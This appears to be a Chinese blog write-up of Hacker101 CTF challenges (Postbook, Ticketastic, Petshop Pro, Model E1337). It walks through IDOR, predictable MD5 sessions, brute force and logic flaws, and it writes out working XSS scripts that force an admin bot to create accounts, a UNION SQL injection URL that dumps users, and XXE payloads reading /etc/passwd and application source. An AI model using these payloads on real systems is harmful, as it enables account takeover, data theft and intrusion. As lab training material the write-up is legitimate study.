前言

Easy-Postbook

拿到功能有点多,先扫一遍目录

.Ds_Store没有啥东西,page是个静态页面

随便注册个账号,登录后已经有2篇文章,第一篇文章的id是1

自己创建文章,将url的参数id值改为1,可以越权修改文章,获取第一个flag

改成id的值1

提交获取flag

我们将自己的session的hash值放入md5中,发现MD5解码为3

因此将session值改为1和2的md5试试看

替换为1的md5,登录账号1,获取第二个flag

使用2的md5值登录账号2,拿到第三个flag........后面看了hint里面的思路是弱口令

与第一个flag的越权修改不同,这次越权修改私密信息,获取第四个flag,其实这个flag应该是越权查看profile的,但一并出来了

去查delete跟的hash参数,也是简单的数据经过md5加密的

因此肯定存在越权,登录另一个账号,删除账号1的文章

拿到第五个flag

profile也存在越权,通过后面的id,按abcdef的顺序可查看不同账号写的文章,但是这个地方获取的flag是之前提交过的

文章发表处也存在越权,可以看到写文章处post请求存在一个参数id

那么修改id为1,拿到第六个flag

还有一个flag,捣鼓了下修改密码处,无果

整理下现在拿flag的地方,越权查看别人的个人页面和私密信息,越权改他人文章,越权删除,越权发表,账号越权2个

最后一个我看了提示是说的 198*5,最后在遍历文章id的时候发现945处存在flag

这类漏洞利用思路hint

Moderate-Ticketastic: Demo Instance

这道题没有flag,找了一遍不知道是不是xss盲打的demo,但又没有实际操作的管理员,看他简介说有个bot,但是因为目标服务器出不了外网,所以弹回cookie是不可能的

给了后台管理员登录admin/admin

前台有个反馈

反馈后,后台弹框,JavaScript成功执行

Moderate-Ticketastic: Live Instance

环境和上一个是一样的,但是有2个flag,且后台登不进去了并且httponly,打不到cookie的

但是可以看到他存在一个创建用户,并且提到了后台存在bot,那么我们要控制ajax去添加一个新用户登陆。

拿到创建test/test的请求

http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test

来手写ajax

<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>

尝试了下不行

中途有事耽搁了几天,重新申请了环境,改改poc

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

将请求内容放到title中,终于在测试环境中成功了

成功添加了test1/test

那么在正式题目环境中,尝试一下

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

![截屏2020-09-08 上午10.03.05](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-08 上午10.03.05.png)

登录还是失败,此时我一度怀疑后台小机器人坏了......网上有人尝试<a>标签成功,使用该方法试试

<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>

可以成功登了,注意没有hash的路径,他每个路径都是一个docker镜像,所以对于本地服务器来说localhost = xx.xx.xx.xx/hash/

竟然登了进去了,找到第一个flag

那么ajax为啥不行么,后面发现还是路径的问题,因此下面的payload是可以的

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>

在测试环境之所以可以,因为ajax的请求是访问者触发的,我的电脑可以访问外网因此可以添加用户,而机器人是无法出外网的因此必须要localhost,但是对于机器人来说它的路径没有那串hash,因此这也是为啥payload不成功的原因

第二个flag在id=1处,使用sql的测试语句报错

明显sql注入了,sqlmap不知道为啥很慢,带回显的联合注入,直接手注

http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23

这类漏洞利用思路hint

之前同事提到的反射型xss不要急着交,没多少钱,比如这里可以结合ajax,添加用户啊啥的,扩大危害面

Easy-Petshop Pro

进入题目分析下功能点,是个购物车功能

添加了几个货物后,在check out的时候修改金额为负数,典型的购物逻辑漏洞,获取第一个flag

剩下2个flag没有思路,先扫一遍目录

看有个login,访问下,错误的用户名会提示Invalid username,尝试爆破下

刚好Invalid password和Invalid username 一样的长度,所以通过返回值来判断,可以爆破出用户erika(burpsuit自带字典)

同理爆破出弱口令key

拿到第二个flag

点击edit,换个没登录的账号,存在越权但没有flag,也有xss但没有flag

最后名称处的xss,在主页不会出flag,但是会在购物车里面出第三个flag.....

这类漏洞利用思路hint

Hard-Model E1337 - Rolling Code Lock

先扫一下目录发现有admin目录

访问,没有按钮,input里面没有修改,尝试了传入location参数,没有任何变化

接下来看看注释,说有个get-config

可以看到确实存在get-config目录,内容也是上面admin目录下的input里面的文本,并且该页面是个xml文件格式

那么有get-config,猜测可能存在set-config,访问后验证假设成立,但是请求不对

抓包发送options 看一看可以请求的类型,看到请求方法还是只允许get,可能缺失什么参数,输入location也不对,只有爆破一下试试,这里使用burpsuit的short password字典试一试

爆破到参数为data的时候为500.....

联合之前的get-config是xml格式,这里怀疑传入的可能也是xml格式,也就是xxe漏洞

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>

url编码一下

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e

非常棒,302了,说明成功了

但是其他页面都一尘不变,修改下poc,下面成功将test,打印到了admin中

xxe的poc,我们将读取的文件打入会输出的标签中,因此再次修改poc

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>

已经成功读取到了/etc/passwd了,但是莫得flag,后面有尝试使用expect协议代码执行,也没有效果

那么接下来应该是去读源代码了,这个环境坑定是python写的,结合上一节的一道题目,大概率有以下目录,/app/main.py

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>

拿到第一个flag

第二个flag应该是需要unlock了,需要查看代码逻辑,FLAG是存在全局变量里面的

主要看以下代码逻辑,发现code会进入int函数转换为数字,这也是为啥在主界面输入字符时会报错的原因

匹配值会进入next函数,但main.py里面没有next函数的定义

观察最开始的import,引入了rng包,因此使用xxe去读取rng.py文件

读取后可以看到next的逻辑,但是密码学的渣看不懂啊orz

密码种子碰撞不会orz,暂时挖个坑

hacker101 CTF 学习记录(二)的更多相关文章

  1. Hacker101 CTF 学习记录(一)

    前言 苦力挖洞,靠运气赚点小钱.看着大佬严重,高危,再看看自己手上的低危,无危害默默流下了菜鸡的泪水 思路受局限,之前听学长推荐和同事聊到hacker101,因此通过hacker101拓展下漏洞利用思 ...

  2. Material Calendar View 学习记录(二)

    Material Calendar View 学习记录(二) github link: material-calendarview; 在学习记录一中简单翻译了该开源项目的README.md文档.接下来 ...

  3. Spring Boot学习记录(二)--thymeleaf模板 - CSDN博客

    ==他的博客应该不错,没有细看 Spring Boot学习记录(二)--thymeleaf模板 - CSDN博客 http://blog.csdn.net/u012706811/article/det ...

  4. JavaScript学习记录二

    title: JavaScript学习记录二 toc: true date: 2018-09-13 10:14:53 --<JavaScript高级程序设计(第2版)>学习笔记 要多查阅M ...

  5. 2.VUE前端框架学习记录二

    VUE前端框架学习记录二:Vue核心基础2(完结)文字信息没办法描述清楚,主要看编码实战里面,有附带有一个完整可用的Html页面,有需要的同学到脑图里面自取.脑图地址http://naotu.baid ...

  6. Spring Boot学习记录(二)–thymeleaf模板

    自从来公司后都没用过jsp当界面渲染了,因为前后端分离不是很好,反而模板引擎用的比较多,thymeleaf最大的优势后缀为html,就是只需要浏览器就可以展现页面了,还有就是thymeleaf可以很好 ...

  7. 【java并发编程艺术学习】(四)第二章 java并发机制的底层实现原理 学习记录(二) synchronized

    章节介绍 本章节主要学习 Java SE 1.6 中为了减少获得锁 和 释放锁 时带来的性能消耗 而引入的偏向锁 和 轻量级锁,以及锁的存储结构 和 升级过程. synchronized实现同步的基础 ...

  8. SpringBoot学习记录(二)

    一. SpringBoot日志框架 SpringBoot:底层是Spring框架,Spring框架默认是用JCL(commons-logging): SpringBoot选用SLF4j和logback ...

  9. Spring学习记录(二)---容器和bean属性配置

    下载spring包,在eclipse搭建spring环境. 这步我在eclipse中无法导入包,看网上的: http://sishuok.(和谐)com/forum/blogPost/list/242 ...

随机推荐

  1. Elasticsearch第三篇:查询详解

    从第一篇开始,我用的ES版本就是7.8.0的,与低版本略有不同,不同点可以参考官方介绍,最大的不同就是抛弃 type 这一概念,为了方便测试,首先建立一个学生成绩的索引库(在建立的同时,规定字段类型, ...

  2. spring boot-controller中的一个方法获取其他方法返回的值

    @RequestMapping("/test") public String getData() { return "redirect:/other";} re ...

  3. Mybatis-05-使用注解开发

    使用注解开发 1 面向接口编程 原因: 解耦.可扩展性.提高复用性 关于接口的理解 定义与实现的分离 两类接口 一个个体的抽象,abstract class 一个个体某个方面的抽象,interface ...

  4. 虚拟化技术之kvm管理工具virsh常用基础命令(一)

    在上一篇博客中,我们了解了KVM基础架构和部署以及图形管理工具virt-manager安装虚拟机的过程,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/13499 ...

  5. Salesforce学习笔记之代码若干

    有几段试验性的代码因为公司要更新沙盒,删除了.在本地虽然还保存了副本,但怕以后刷新时误删,所以贴一份在这里,以便需要时拷贝. 1.用aura组件包装一个flow foo.cmp: <aura:c ...

  6. 【Apollo】(2)--- Apollo架构设计

    Apollo架构设计 上一篇博客有讲到:[Apollo](1)--- Apollo入门介绍篇 这篇来写Apollo的核心架构设计 一.整体架构 Apollo整体架构图,已由作者宋顺已经给出: 这幅图所 ...

  7. 算法-图(2)Bellman-Ford算法求最短路径

    template <class T,class E> void Bellman-Ford(Graph<T,E>&G, int v, E dist[], int path ...

  8. HYSBZ - 2243 树链剖分 + 线段树 处理树上颜色段数

    用线段树处理颜色段数 记录区间内的颜色段数,区间右端点的颜色,区间右端点的颜色. int tr[maxn<<2], lc[maxn<<2], rc[maxn<<2] ...

  9. LG P4161 [SCOI2009]游戏/LG P6280 [USACO20OPEN]Exercise G

    Description(P4161) windy学会了一种游戏. 对于1到N这N个数字,都有唯一且不同的1到N的数字与之对应. 最开始windy把数字按顺序1,2,3,……,N写一排在纸上. 然后再在 ...

  10. curl报错60的问题

    使用curl发请post请求的时候,会遇到如下错误: curl: (60) SSL certificate problem: self signed certificate More details ...